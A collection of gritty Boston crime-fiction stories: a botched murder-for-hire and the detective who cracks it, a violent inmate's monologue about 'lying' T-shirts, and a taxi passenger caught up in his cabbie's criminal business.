“Whoa, it ain’t the time. Let’s say it was even five hundred an hour, that’s only maybe ten thou of my time. But what about the risk I take? Why am I following this guy? We got a conspiracy here, that is what we call in my business a major crime, to conspire to, well do something.” Norman checked himself, he did not like specifics on a phone, even one that could not – theoretically – be connected to him.

Larry didn’t quite know how to complain to the cops or the Better Business Bureau but did not like being ripped off; he had to salvage something out of this.

“Okay, okay, we’ll call it a credit.”

“You asking to open an – account in my – store, is that it Mr. CL? You gotta be kiddin’ me. This is rich. Absolutely shittin’ me, right, you’re not serious, right? Cause you ain’t possibly bein’ serious here.”

“Dammit,75 is a lot of money.” Larry felt the swirl as the toilet bowl he was sitting in began to empty even faster, disorienting him as he swished around in ever-shrinking circles. “What are you going to do for the 75? Huh?”

Norman was loving it, a righteous shit fit from some rich guy who wanted his refund on a murder! “What am I going to do for the 75? I tell ya what, MR. CL. For the 75 I will forget this little incident here and not deliver my product directly to you, MR. CL. That’s what you get for 75.”

Larry rationalized the click as Norman hung up on him as a positive sign in one way—it was over for now, at least. That kike broad from the police was not a good surprise when she dropped by the house with her load of questions, but she had said she had talked to Tina, so this was no time to have a bad accident happen to Tina’s moron husband. What the hell is the Boston police force coming to, anyway? Chief Detective Greenberg! It could almost be a bad joke ….

__________________________

The more Norman thought about it, the madder he got. He did not like CL. For the hell of it he felt like shooting Luis anyway, as a matter of principle! But then the cops might get CL who would have nothing to lose by giving up Norman at that point. Unless he took care of both of them? All that work, maybe he should think on it.

And what could CL tell the cops, anyway? They would first have to find him and then put him together with the thing before they would think to try to get an ID, which would be suspect anyway.

“Fuck him!” said Norman out loud.

________________________

In her own cop way, Sarah had not liked Lawrence Carter; he was too controlled. Rich guys on Beacon Hill who traded their own portfolio would have been nervous without reason, being dropped in on by the police. They would try to ask questions, try to get the connection. Carter had been smooth as butter, too conversational, too casual with his hand gestures. And he hadn’t even asked what was going on, which might mean he already knew? Not enough to get a search warrant or a phone tap, certainly. But maybe enough to spend a couple of days watching Carter.

Which she did. Which was easy. He didn’t leave his town house for five full days (and nights). Not so strange; but why did Sarah feel it was? She was going to give it one more day, when Luis was found in his parked car in East Boston with two neat bullet holes descending at a sharp angle into his skull.

After that, it was not too hard to get a warrant.

_____________________________

Tina took the cash from the savings bank, all $434. She took the cash in the jar, all $117. She took the money she had hidden over the years from Rico, all $4,918.25. She left the morgue, dried off her tears when out of view of everyone, took her one packed bag and went to the South Station bus terminal and bought a one-way to Lowell, where her widowed sister was solvently ensconced in her old wooden Victorian, long paid for by her now-deceased husband, who had left her with a neat lawn and several empty bedrooms formerly occupied by assorted children who could not wait to get as far from Lowell as possible. She knew a guy from the old days who made her on the cheap a social security card in the name of Natalie Carbone, her sister’s married last name, and a pretty good Massachusetts driver’s license that matched, with a watermark of the State Seal floating below the glossy surface, just like the real ones.

Meanwhile Norman called CL to tell him that the hit was finished and to make arrangements to pick up the second 75 grand.

“We agreed it was off,” whispered Carter, and then hissed “let me call you back, how dare you call me on this phone and how did you know where to call me anyway?”

“Oh, ya know, I don’t mind this one being on the record and ya know you arranged this so don’t try to welch out of this or you may find that breach of contract is not the best policy when you’re doing my line of work.”

“Fuck you. I’ll call you back,” Carter snapped as he hung up his house phone and grabbed his prepaid portable and dialed the number. Lou let it ring until it went to voice mail, and only picked it up on the fourth ring of the second call.

“You called,” Lou purred into the phone.

“Yeah, I called,” snapped Carter.

“Sorry I didn’t pick right up, when ya called back but I was on the line with my stock broker.”

Carter ignored the dig. “We expressly agreed it was off, you son of a bitch,” he spit into the phone.

“Nah, ya see, what we agreed to was that you were welching me out and I was personally offended and the more I thought about it I figured I’d just finish the thing and pick up the rest of my money, sort of teaching you a lesson. So, Government Center parking garage, just before the Bruins game against the Black Hawks, say 6:45, section 10, row B just like before. And Mr. Carter sir: I would not be late if I was you.”

__________________________________

Sarah saw Carter leave about 6:15 that night, wearing a Boston Bruins hockey jacket and a matching knit hat. Finally, he was leaving his house. She had decided not to use the search warrant just yet. Tina had skipped, and could not be found. Something was happening; better to let it play a while.

She had Tracy follow Carter, and the next morning she saw the fuzzy pictures of Carter talking with someone who looked familiar in the Government Center garage. Very familiar. And Carter returned to his house by 7:45; he never went to the game. It took the identification specialists from forensics about half a day to make Norman Poduluski, who had been off radar for years. Later that day, with search warrant in hand, Sarah made sure that the envelope finally caught up with Lawrence Carter.

________________________________

Tina slumped over the table; it was 10:15, and the linoleum floor had been mopped and the settings for breakfast had been put out; folded paper napkin, coffee mug in beige, knife and fork and spoon at each seat, all twenty-some-odd of them. Her sister was making her pay for room and board, which Tina sort of understood; it was not like she had been civil to her sister for a decade or three; but waiting diner tables was not easy for someone with varicose veins and a major lazy streak.

The day’s Boston Herald had been left by someone on her last table. Before tossing it out, Tina saw a familiar face on the front page, and realized it was the detective she had talked to about Luis. Next to it was another picture, a photo of a handsome business type with thin light-colored hair and deep-set eyes, in suit and tie.

“Son of a bitch,” Tina muttered. “They caught my meal-ticket.”

A half- smile invaded her flaccid features, triggering a small cascade of perspiration down her cheeks. “At least I can move back to the flat,” she thought. “Wonder if they cleaned it out and rented it to someone else already.”

At about that time, Normie Pockets was sitting quietly in his black Buick, lights off, in front of the Victorian on Maple Street. He did not like loose ends. He sipped his cold Dunkin’ Donuts decaf French Vanilla coffee, chewed the curved lip of the paper cup, and half-closed his eyes. The broad better come home sometime soon; his sweat pants were beginning to run annoyingly up his ass. How late were diners in a shit-hole like Lowell open, anyway?

[set in a prison psych ward, two days in 1982]

I went to State U, see. Only for a year and a half, I’m not the studious type, but I was damned proud of it. It wasn’t easy and it wasn’t cheap, and it’s made my life better, fuller if you know what I’m saying.

So one day I’m walking down the street and along comes this guy, looks like about my age, and he’s wearing a sweat shirt with cut-off sleeves that says STATE U right on the front of it. I stopped him, said he looked my age and when did he attend, and he says he didn’t go there at all. Said he bought the shirt from a street vendor at the beach, it appealed to him for some reason. I was sort of annoyed, ya know? Not in a big way annoyed, mind you – that sort of thing came later – but disturbed at why someone would wear a shirt for somewhere he didn’t even go to school.

Now maybe I should have known right off; the blue color was all wrong, sort of a royal blue kind of a thing, not the soft mellow blue of the real State U colors. But anyway, I asked him where he DID go to college and he says UC Santa Barbara, which I can assure you is one hell of a long distance from State U in the City, and in more ways than one.

I didn’t make a stink with this guy, mind you. It’s not the kind of thing to start a big deal over, after all. It’s his choice, he can go naked as far as I’m concerned, that’s his business.

Ya know, I wish t’hell they’d turn out that light, or at least turn it down at night. It’s been almost a year, and I still can’t get a good night’s sleep; every time I turn over, it wakes me up.

Anyway, the next time this thing comes up I’m on vacation in Arizona, and I’m at the edge of the Grand Canyon looking over and down, trying to see the River that I know is buried somewhere in the gorge, and there’s a woman standing on the observation platform a few yards away with a Boston College T Shirt and I was living back in Boston at the time, so I asked her if she still lived in Boston and she looks at me like I’m nuts. She’s all confused. I mean, I’m not even sure she knows that Boston College is in Boston, she’s so mixed up. So I said to her, “No, hey, I just saw your shirt and I live up in Boston and I just wanted to know if you still lived around there, or if you moved away after College.” Well, as you can probably guess she didn’t even go to BC, had never even been to Massachusetts in her whole life. And, she’s looking at ME like I’m crazy for asking the question.

“Ya shouldn’t be wearing the shirt if you didn’t even go there,” I said in self-defense.

“Fuck off!,” she replied.

Nice talk from a young woman, eh?

* * * * * * *

I’m glad you’re back because I’ve been trying to get this straight in my own head, when it really began in earnest, and I think it was in the fall after I got back from my vacation. It was late August or in September of that year; Sandy went right back to work at the school office and the kids seemed to start right in with classes almost the day we returned. I was out of work, just looking for the right thing ya know, and I’m walking back from the strip mall that was just around from my street when a woman pulls up in a van and asks me where there’s a McDonald’s. I’m telling her, there are a few kids in the back seat and I guessed they were hungry, and she’s wearing a sweater with a sailboat that says “Cape Cod” over the pocket.

I asked her where she liked to go on the Cape, for vacation or whatever, and I gotta admit, I had a feeling when I was asking that she didn’t know Cape Cod from the Bat Cape. I mean, I admit it, I was fishing for the wrong answer, which of course I got because I’m beginning to get the idea that no one, and I mean no one, has any ethics or logic when it comes to shirts and sweaters. They just wear any damned thing that they feel like, because they like the color or they borrowed it or something.

So she’s very pleasant and thanks me for the directions and starts to roll up her window saying that she never had been to Cape Cod, or at least not since she was a kid, and I really got mad all of a sudden. I had enough of this crap, ya know?

“Then why the frig are you wearing that sweater,” I enquired, but I must have been yelling because she startled backwards and stopped rolling up her window.

So I was able — oh thanks for the cig, mind if smoke it later after I tell ya what’s on my mind? – so I stick my arm in, over the edge of the window which is half-way up, and I pull up the pin and swing the door open. Her little white face went a helluvalot whiter at that, I can tell you.

I am suggesting to her as nicely as I can that she should take off the sweater. I mean, that isn’t a big deal, I wasn’t saying she should throw it out or anything. She was wearing some sort of a shirt under it, I wasn’t making any improper advances or anything. I just said for her to take off the sweater, but I must have been yelling real loud because she started screaming and then I was pulling at her arm and pulled her right out of the front seat. The car started to creep forward at that point, with the two of us standing on the curb and with me still pulling on her sleeve.

So then? No, no trouble finally. I realized there were kids in the back of the car, I jumped over and stopped the car and stood up and she jumped in and roared away like a bat outta hell and it’s the last I ever saw of her. Big woman, big shoulders, long dark hair, little bitty faced, scared as shit.

But I felt I had accomplished something, ya know? She heard, first hand, about how you should not wear stuff if it just isn’t true. That’s very important, and I realized that day, ya know, that not a lot of people understand that fact. Amazing!

I don’t mind talking to you, doc, because, face it, who else here will listen? But ya gotta do me a favor, okay? There’s a guy in a cell across from me, and he opened a package and it had a Notre Dame T-shirt in it. Sometimes, he just sits on his bunk reading the paper and wearing the shirt. So, I’d like you to take away the shirt. I talk to this guy all the time and, I tell ya, no way that dummy went to Notre Dame.

Then there was this woman, this namby pamby bitch in Gortex, a whole ensemble, she comes running past my house and her jacket is open and she’s wearing this T-shirt, and on the front it says in big black letters COED NAKED JOGGING TEAM. What does that mean, anyway? She’s fully dressed of course. Jacket, matching pants, a bra I come to find out, shoes, socks, watch, Walkman radio, the works. That mama never jogged naked in her life, let alone coed or on a team! What does that shirt mean anyway?

Well, by then it was later in the fall and I’d been seeing a lot of shit and I’m getting madder’n a hatter from all this shit I’m seeing. Coed naked everything. More people lying about going to Harvard than you can shake a stick at. Shirts telling me people visited places they never even dreamed of, or that they’re gay, or they’re horny, or they’re God knows what. Now, normal people don’t get upset by stuff like this, unless of course it just completely takes over the world and there is no place on earth to escape it, but that is just about our situation we’ve got right now with these fucking lying T-shirts, sweaters, jackets, sweat suits, whatever.

So I jump into my station wagon and I catch sight of this woman in the NAKED COED T-shirt about one block down, turning into a park where there is a path I sometimes take with Samantha and Todd that leads to a weedy pond with lots of frogs to chase. And I’m out of shape but it’s mostly downhill and I pull off into the small lot and hop out and tear down the path top speed, I’m wearing my sneaks so it’s no problem; and I overtake her about half-way around the pond in front of the tall cattails and, swear to shit, I don’t even bother to waste my good breath ‘cause I just know I’ll get that same blank stare and crap, so I just grab her around the waist and toss her into the reeds and go in after her and I rip off her jacket which isn’t hard because she’s still surprised, and then she wakes up and worse yet thinks I am after her sweaty ass, which is a joke, and she starts to thrash around and I have to give her a slug, which I do, and she crumples down and it’s easy, I just pull the fucking shirt up over her head and her limp arms and I rip that lying shirt from the neck into both arm-holes and I throw it down onto her stomach, and then I move it up to cover her jogging bra because actually she looks sort of bare; but the shirt is turned downward so you can’t see that bullshit printing on the front of it.

And that’s it with her. I didn’t touch her or anything.

I don’t know how that other stuff happened.

It must have been, someone else came down the path after I left.

Then another time this dumbass kid, maybe he’s fifteen, skin white as chalk, and he’s wearing a big green jersey, says “Boston Celtics” on the front, and the double zero – you know, “00” – on the back. So he’s Robert Parish, right? He’s now all of a sudden seven feet one half inch of lanky bony black man, playing center for the World Champion Boston Celtics, right?

Right!

Who the hell is he kidding?

Now you’re gonna tell me he’s just a kid, and everyone knows that he isn’t Robert Parish, and everyone in the world wears sports jerseys. Like that makes it okay or something? I mean, that’s my very point! That’s what’s WRONG! They’re ALL doing it. They ALL think it’s okay.

I’m not some nut you know, who wants to go out and change the way the whole world behaves to match his own sick, puritanical view of how things ought to be. The judge said so. The judge specifically found that I was NOT a nut. That I knew what I was doing.

I want you to remember that.

That is why I beat the ever-living shit out of that kid. To show them all, to teach them a lesson.

Him and that other asshole, some Lutheran guy with that “Italian Stallion” shirt. The closest he ever got to Italian was his salad dressing.

But I think ya know, I’m in here mostly because of a white sweat shirt being worn by a beautiful blonde who, I gotta admit, did set my heart aflutter when I saw her. It was almost Christmas now, and most people were deep into the working season, and looking kind of pasty and reddish but, this woman, maybe she’s thirty and is she ever looking tough. Real deep tan, like she spends her time in Florida or something.

So by now I’m moved out of the house. I couldn’t focus much on construction which is what I had been doing the last few years. I had a good gig going, doing interior work on condo conversions, easy stuff with no finished carpentry, but around then on some days I just wasn’t really up to it, and the wife got pissed and told me I was getting weird and I should take my act elsewhere, and she said she was worried about the kids and she even went and got a court order against me staying at home anymore.

So one night I’m at O’Hara’s having a few beers and it’s getting late, and like the old joke goes that ugly women always look best when you’ve had a few beers and it’s closing time, but there was this woman who was with a group of people I did not know, and they had a few beers themselves, but this woman was really a knock-out. So they come out of one of the booths in the back, and I’m only paying a little attention because you don’t want to stare, right, it’s not polite. So she comes to the side of the bar and gives me a little polite smile and I’m about to give her one of those return polite half-smiles, when I see she’s wearing this white sweatshirt and its stretched tight over her, uh, bust, ya know? And printed on it, and I am very serious about this, it says “JUST DO ME!”

How does she think she can get away with that? Doesn’t everyone have the normal reaction to that invitation? Or am I the only person in this whole bar, in this whole damn city, who understands what she is saying?

Now the police were called and kept telling me that it was clear that she did not intend to have her sweatshirt read and interpreted literally. And the prosecutor pointed out to the court that it was unbelievable that I conveniently assumed what no normal person would assume. But, I beg to differ.

And I don’t exactly like the way you are smiling at me and trying to hide it with your hand in front of your mouth.

Whoa, stop please, before you call the guard over, no, no just please sit back down and answer me one simple question: do you not agree that people owe it to be honest with each other in matters of normal human social interaction?

Me, I don’t even understand anyone who says they disagree, ya know what I mean?

The problem with cell phones is not that they are impolite. It’s the guilt. Knowing someone else’s business makes you feel guilty.

So when the cabbie picked up his cell and started talking, as if an invisible phone booth had dropped from the cab roof to insulate his conversation, I leaned back to watch the drizzle mist over the streets and tried not to listen. That is not so easy to do, by the way. It reminds me of the old saw that goes something like “Don’t think of elephants.” All of a sudden you can’t think of anything but….

“Not hardly.”

We seemed to speed up, the droplets moved sideways on the window and smeared the stoops and storefronts as we rattled past. Seems the conversation was aggravating my cabbie.

“Ya gotta tell her no way. No effing way.”

Some black foreign car, running only with parking lights, fed in from the right, and I was swung into the door by the cab’s sudden swerve. The cabbie kept driving with one hand, faster than before.

“What I gotta do, fa shitzake, drive over there and explain everything? We been through it last night.”

We had cut through South Boston, a bunch of streets I did not know. I was sorry we weren’t on the Expressway. A liquor store flashed bright neon at the cab, its orange reflecting off the mist and making me squint.

“I gotta fucking fare, fa Chrizake! … Yeah yeah yeah look, okay, okay, in five.”

The cell beeped into silence as we turned right down a side street. “Ya ain’t in no hurry are ya?”

I leaned forward to make up some lie about being late when I learned that it really wasn’t a question: “Cause I gotta make a quick stop.”

I got up the courage to ask him to turn off the meter which he did without comment. We were weaving down dark unfamiliar residential streets, triple decker wooden houses with sagged porches and trash randomly arranged on stairs, sidewalks; wet gutters. I could no longer tell if we were at least heading vaguely South toward my Hingham destination. I never thought I would have deep longings to be home in my condo, but I was starting to get them now. I finally found the spirit to complain, but my wordless reply came seconds later as we pulled sharply into a driveway alongside an old brick storefront.

“I’ll be just a minute,” he said unconvincingly through the opening between the passenger and driver seats.

“Hey, excuse me, wait up a minute. Just wait. Where the heck are we?”

My tone must have had just enough fear in it to make him stop and turn back to the cab. “Jamaica Plain. Relax. It’s safe. Here, I’ll lock the doors and leave the dome light on.”

He was gone before I could think to object, before I could conclude that sitting in a lighted car in a dark alley in a seedy neighborhood was worse than being in complete darkness, before I could realize that I really had to take a piss, before I could figure out how to be outraged.

So I sat there.

Longer than five minutes. A lot longer than five minutes.

Ten or twelve, once I started looking at my watch, which wasn’t even right after he left. His box-y shape had slipped into a door in the brick wall siding the alley; he hadn’t paused and the door must have been unlocked. There were no windows facing me, so I could not even tell if a light had been turned on inside. I twisted to look out the back window; the wet sidewalk was almost black, no reflection of light from the front window of the store nor from any streetlamp. On the other side I stared at a solid fence, part white paint and part peeled and splintered wood. The rain descended on the roof like a heaving dew settling in nearly soundless waves.

I did not want to step outside, but I really had to go to the bathroom and no one was in sight; no one had come past and although the area was slightly seedy in an urban kind of blue collar way there was no logical reason to think that I was actually in danger. I looked at my watch under the vivid yellow of the dome light; it was 11:45. Late night in an alley in the middle of a drizzle, first chilly hints of Fall in the air, maybe a touch unusual but not a big problem if you thought about it rationally.

And I wanted to think about it rationally, very badly wanted to, sliding back and forth on the vinyl hills and valleys of the lumpy rear seat had not exactly made me forget the pressure I was feeling from inside.

I opened the cab door with a small creak, the cold entering immediately as my body heat fell out onto the alley. The windows fogged first, then my glasses. The cab door made a tinny ding when its edge just hit the brick sidewall and that was followed by a surprising soprano scrape as I shifted my weight to exit. I stood outside the cab listening. Only the rain trickling and hissing down.

I felt better, bolder now that I was out of the cab. More in control, less afraid. There was no sense pissing in the narrow space near the cab, and I walked sideways down the alley a few yards deeper into the darkness and relieved myself against the wall with a long, fulfilling “aaahhh.”

Heading back to the taxi, some noise escaped from under or through the side door, but I ignored it and grabbed the handle to the rear seat.

In retrospect, I should not have been surprised that the door had relocked; it was that kind of night. And in the middle of Jamaica Plain, wherever that might be. I walked to the street: empty. Too much to hope for, another taxi in the middle of this low class residential nowhere at midnight in the dank and drizzle. Every few seconds a car seemed to traverse along the cross street, but that was at least half a block away.

The side door to the store-front pushed outward soundlessly, but the handle banged and rattled when it swung full open and bounced back off the wall. The sound broke my concentration as I tried to decide if any of that distant traffic might include taxis. At first, the darkness hid the person standing near the door, but my eyes adjusted to the dim inside light which outlined a woman. It was not the kind of night that she was going to be young and attractive, and I was not disappointed in my premonition. Tell the truth, my main thought was whether she had come out with the cab keys.

“You with him?” She approached quickly as she spoke.

“Who? Me?”

She snorted. “Who the hell else? You with Lou, or are you gonna let me go past ya?”

I jumped backwards, although I wasn’t within five feet of her. “You can go. You can do what you want.” I heard myself speaking low, breathlessly, urgently. “I’m just a taxi fare,” I added, and was immediately sorry without knowing why.

She scuttled to the end of the driveway, looked left and right, then back to the alley. She was dark-skinned, tall and thin, hawk nose, black hair in something of a tangle. Not young, not old, not pretty, eyes wide apart and wide open.

“I gotta get out of here,” she said. Hey me too, I thought.

She glanced into the alley again. “He ain’t gonna be inside forever.”

She turned into the street, looking back after a couple of steps.

“You comin’ or what?”

“Me?”

“Yeah, we both have a better shot if we’re together.”

“But I’m not involved. I’m a Goddammed CAB FARE, dammit. I’m a passenger!”

“Right, and Lou is goin’ t’be real happy that you let me go.”

“I’m not letting you go,” I hissed intensely. “You’re just going.”

“And he’s just going to get back in the cab and drive you away, after what you just saw.”

“I didn’t see ANYTHING,” I damn near screamed.

She turned and started walking away; she mumbled “whatever, it’s your ass.”

I watched her speed up, going straight down the street on a chunky pair of heels that clicked and thunked on the wet sidewalk.

“Shit,” I cursed, or maybe just thought, and took four or five quick steps back toward the cab and told myself that I’d just sit back down and read my newspaper in the back seat and when the cabbie came back I’d just look up and ask to be taken to Hingham now, and say “what girl” when he asked, and I grabbed the door handle and then remembered I had locked myself out and I said “shit” again except this time I’m sure I said it out loud.

This is not my long suit, these kinds of situations. I’m an accountant—and I enjoy it! That doesn’t mean I’m boring; just means I am organized. Tonight is not organized. I do not like it.

So—time to get things organized and shaped up. I try all four cab doors; no go. I stick my head into the dim light of the doorway; a gray hall, couple of closed doors at the end, no sound; not inviting. I pat my rear right pants pocket for the reassurance of my wallet, then head towards the cross street with the traffic on it, which happens to be the opposite direction taken by that woman.

* * * * * * * * * *

Inside, Lou sat in his chair and tried to identify the feeling. It hurt somewhere, but his head was falling backwards and the pain was general. He couldn’t quite pull his head forward just yet, so he sat there listening. It was quiet which was strange, because Scotchie and Lettie were there, but maybe they were asleep, it being the middle of the fucking night, facrissake. The neon kept buzzing, which Lou did not appreciate, but he had more important things to deal with. He had to straighten out Lettie, so he was angry at himself for wasting time thinking about the lights rather than taking care of business. Also, he had to get back to the cab though he couldn’t remember why. Maybe his head was hurt after all.

Fingers twitching for the edge, Lou grabbed some leverage at what must have been the skirt of a table and pulled forward tentatively. His body slowly moved forward, head still thrown back. Shit, his head did hurt a lot. He was just thinking that maybe he shouldn’t try to straighten up when his momentum swung his forehead sharply forward. He felt his chin stubble hit the tabletop an instant before he decided to go back to sleep until his skull stopped throbbing.

Scotchie heard a thump and woke up with a small grunt. Startled, he was still too drunk to move quickly. Languorously, he scanned the room with shuttered eyes. The overhead was glaring. Lou was slumped on the table. He eyed the room twice but didn’t see Lettie, which was not good because she was Scotchie’s task also, but maybe it would still be okay because with Lou there maybe he was sort of relieved from duty.

* * * * * * *

The Shark stood in the window of the bar and watched the drizzle weave a gray curtain. Now that the traffic had thinned and most of the apartment lights had gone out, the main source of illumination was the dull yellow leaking out the bar’s dirty front window. The big elm swallowed the output of the only nearby street lamp, projecting dull shadows on the pavement.

The guy in the suit had stood outside in the rain for a few minutes, likely looking for a taxi, before coming inside and asking for a payphone. The Shark had walked back towards the card room but the door to the phone booth had been closed so he couldn’t hear anything. Preppy sort of a guy, look like he had worked a long day. Square, the kind who usually would carry an umbrella or raincoat on nights like this.

Sullivan was picking his nose and wiping it on the underside of the bar rail; at night he came around front, often as not, to take a load off his feet and get a better view of the Leno show. His legs swung off the stool in time to the theme song.

“So who’s the a-hole in the suit,” asked the Shark?

Sullivan kept his eyes on the screen. “Dunno. He asked if I could call him a cab. I says, whado I look like, a goddamned con-see-urge or somethin?” Sullivan shifted his body to improve his angle to the TV, and spoke through the one nostril that didn’t have a finger in it: “Didn’t even order a fuckin’ beer!”

“Smart man there,” the Shark allowed, but Sullivan was beyond insults.

Mr. Suit came out of the phone booth, looked around at the five regulars still drinking, picked out the Shark as the likely bet and walked up to him with a tight expression on his face.

”You want to make ten bucks?”

The Shark took a step back to get a better overall view of this joker. “Ten? All at one time? Wow, will ya let me in on the play?”

Mr. Suit ignored the comment. “I need a ride to the nearest cabstand or hotel. I need a taxi. I don’t think the Checker wants to come here to pick me up, and I get hung up on at Boston Cab and Towne Taxi.”

“Imagine that,” observed the Shark to Sullivan. “The Checker ain’t anxious to pick up your friend here, and what with all the fares you throw in their direction.”

Sullivan grunted his agreement.

“So what do you say?” Mr. Suit was whining now.

The Shark figured the Hamilton was just an opening offer. “Ten ain’t a wicked lot of money, my man,” he said smoothly “And, I got expenses in this.”

“Expenses? What kind of expenses? I just need a lift to a cab or a hotel that can get me one.”

“Well, for one thing there’s the matter of paying someone to borrow a car, which I don’t happen to have at the moment.”

“you don’t have—oh, for Gods sake!” The suit stopped sputtering and turned to the bar.

“Excuse me. EXCUSE ME, does anyone here have a car available?”

No one answered or even turned. Fat Freddie both had a car and was sober enough to drive if he really put his mind to it – but who wanted to have the Shark on his back later?

“Didn’t anyone hear me?” There was a half-tremolo crack of fear and just plain fatigue in the suit’s voice now. The Shark judged him fully ripe.

“Look, Sport,” confided the Shark as he moved close to the suit and fixed him with his glass stare, “these guys, they’re like retired, ya know? Freddie here, he’ll lend me his car I guess but it’s gotta be worth a twenty just for Freddie, and then there’s me to take care of.”

Freddie didn’t turn but said over his shoulder, “I wouldn’t lend you a quarter if you gave me a ten G deposit, you douche.”

“Now you begin to see my problem,” explained the Shark with a sigh, “or, OUR problem, if you get my drift.”

The Shark gently placed a hand on the suit’s shoulder: “So,” he inquired as a friend, “what ya doin’ in the neighborhood anyhow?”

* * * * * * *

A sensitive question. I didn’t want to admit I was an abandoned taxi fare, it didn’t seem like much of an explanation for this crowd. I also had to concentrate on not backing away too quickly, although the sour old beer mixed with vague foody vapors to create a miasmic rot around this fellow’s vicinity.

I turned slowly and started to walk towards the bar, feeling this guy after me in my wake. “I, uh, was brought here by a guy with an office around the corner, I think.” No reaction. “A cabbie.”

My new friend took a small, quick step back and glanced at the barkeeper, who as it turned out was finally paying attention to the conversation. From the corner, two guys on stools leaned towards each other and whispered.

“Louie the cabbie, like from around the corner Louie,” my friend asked, very low? He wiped his palms once, downward across his tee shirt, rearranging the grease.

“Yeah,” I said. Why not Louie? Then I felt the temperature change in the room; and thought uh-oh bad vibes. But no other place to go so I said “yeah, that Louie. What about it?”

“Oh, no, no problem,” said my friend. “I mean, ab-so-loot-lee no problemo, it’s cool, it’s all cool.”

The Shark wet his lips and looked at the bartender. “Sully, give my friend here a brewski, I gotta take a piss and then I’m gonna take him to find a cab.” He looked down the bar. “If I can borrow your car, Freddie?”

Freddie swallowed hard and nearly whispered that it was okay. In fact, suddenly he was quite enthused with the idea. “Sure, sure; no sweat.”

* * * * * * * *

Lou was in Church, he thought, but he was very hung over. He knew this because the bell kept ringing inside his head and making it hurt. A lot. And also, the bell kept ringing and ringing, calling him to some super-important Mass somewhere, his attendance of vital interest to the Deity.

Lou opened one eye and saw the grains of wood. Table. He opened the other eye. Telephone. Shit, ringing telephone. He sat up sharply, then swayed and felt like heaving. “Focus,” he thought. “Focus!” He picked up the phone.

“Louie, that you?”

“Who is this?” Lou’s voice seemed to be separated from himself by some considerable distance.

“It’s me. Sully. From the bar Sully. Louie, you listenin’ ta me?”

The light made him squint. The squint hurt his head, the back of it and behind the eyes. Shit it hurt!

“Yeah, I’m listenin’ so talk already.”

“Louie, there’s some guy in here, never saw him before and he’s lookin’ fer a ride and he says he knows you.” Lou thought again that it would be really good to focus.

“Guy in a suit,” Sullivan hissed, almost inaudibly.

“A suit,” Lou mused. “Talk up, will ya, yer makin’ no sense.”

“Louie, he’s right around the corner at the bar and I don’t want he should hear. Louie, what should I do with him?”

Lou looked around the room. Scotchie was on the couch, asleep with a Dewar’s empty. No one else was in sight. Then Lou remembered. He remembered everything.

“Sonofabitch, keep him there, will ya? I’m on my way.”

* * * * * * * * *

It’s obvious I’m being stalled, but I don’t know why. It has really started to pour outside, and I don’t have a lot of options. I sip my bottle of Bud, slowly; Mr. Sullivan has not offered me a glass. Sharkie is sitting beside me, he has introduced himself (“Just Sharkie, no Mister, gladtameetcha”), and he has ordered a half yard of some pale yellow ale and he is in no hurry to drink it. Sullivan is nowhere in sight so I can’t get a refill, which is something of a shame because I might as well, the beer is the only good thing to happen to me for hours. At least Sharkie is quiet. Jay Leno is roasting Bill Clinton in his manic unfunny way, it’s so boring that even the drunks are attentive.

Then it occurs to me that someone is getting the cabbie. Where’s Sullivan? Probably on the fucking telephone, ratting me out. (Listen to me; I’m beginning to sound like these lowlifes.) Probably trying to reach Louie, although come to think of it Louie may not be available just now. What if Sullivan walks over to the store, he’s been gone long enough, and walks down that dim hallway and through one of those doors and finds Louie bleeding or dead or…

“Well,” said the voice in my ear, all gravel and false cooing, “here I thought I had lost my fare.” A large arm slid over my back and a hand grabbed my shoulder with a brief, affectionate squeeze. “Whaddaya say, buddy?”

“Oh,” I croaked, “I am, uh, just having a beer.”

Louie laughed, more than it was funny, and reapplied his squeeze. “Funny guy. So—where’d she go?”

I turned and was about to sincerely say I didn’t understand when Louie smiled sweetly and grabbed my balls gently in his cupped hand and began shaking his palm like he was rolling dice. His arm kept me firmly on my bar stool, my hardware hanging over the edge and rolling back and forth in his large mitt.

“You mean the woman in the dark outfit? Black hair,” I asked quickly?

“Very good,” said Louie, and he gave my package a gently upwards joggle. “Glad to see you skipped the ‘who do you mean’ bullshit.”

“She was very upset,” I rushed onward. “She ran down the street. The other direction. She said she had to get away.”

“She said that, huh? So—you wuz outta the cab then, huh?”

Shit shit shit. No I wasn’t? Yes I was? Had to be.

“Yes I was.” A short pause. “I had to pee.” Pause. “Then I couldn’t get back in. Must have locked myself out. By accident.”

Someone at the bar snorted, but Louie kept my rapt attention by his growing pressure on my shoulders and by his, well, to say it truthfully, his – jiggling – fondling of my balls.

“Look, you can stop doing this – thing,” I said and looked down and raised my eyebrows in reasonable inquiry.

“This? This,” Louie asked? Jiggle jiggle jiggle.

“Yeah, you don’t need to do that,” I said.

“Oh, I’m not so sure about that. Let’s just call it my truth machine.”

“Why would I lie? I don’t know what the hell is going on. Just let me get out of here. I’ll walk, to hell with getting wet. I don’t even care about the rain….”

* * * * * * * *

He’s probably telling the truth about that, Louie thought. Why would he lie to me? He’s just a fare. He doesn’t know anything about Lettie and me and her — habits. If she tried to talk to him, well, she’s such a friggin ditz and he’s such a stiff, there’s no way she could have told him anything he would understand, anything useful—or dangerous… But what the fuck do I do with him now. And what if she did tell him something?

“Okay, chief,” I tell him, “back in the hack.” I give his hardware one last extra-sharp flick to make sure I have his undivided attention. “Let’s you and me try to find Lettie.”

I’m thinking maybe Lettie needs an attitude adjustment, particularly since she somehow got that rummy to help her skip out, although the poor bastard was probably too drunk to know what was happening.

* * * * * * * *

I don’t know how the hell he expects to find this woman. All I know is that it’s a big city and she walked away over an hour ago and it’s almost one a.m., for crying out loud. I’m tired. I’m outraged but too afraid to do anything about it. I have the realization that I am being held against my will, and my stomach sinks. I’m a prisoner! I’ve been kidnapped! This doesn’t happen to real people. That fucking son of a bitch grabbed my testicles and I didn’t even do something about it. I disgust myself. I don’t even want to think about it, I feel I deserve what is happening to me….

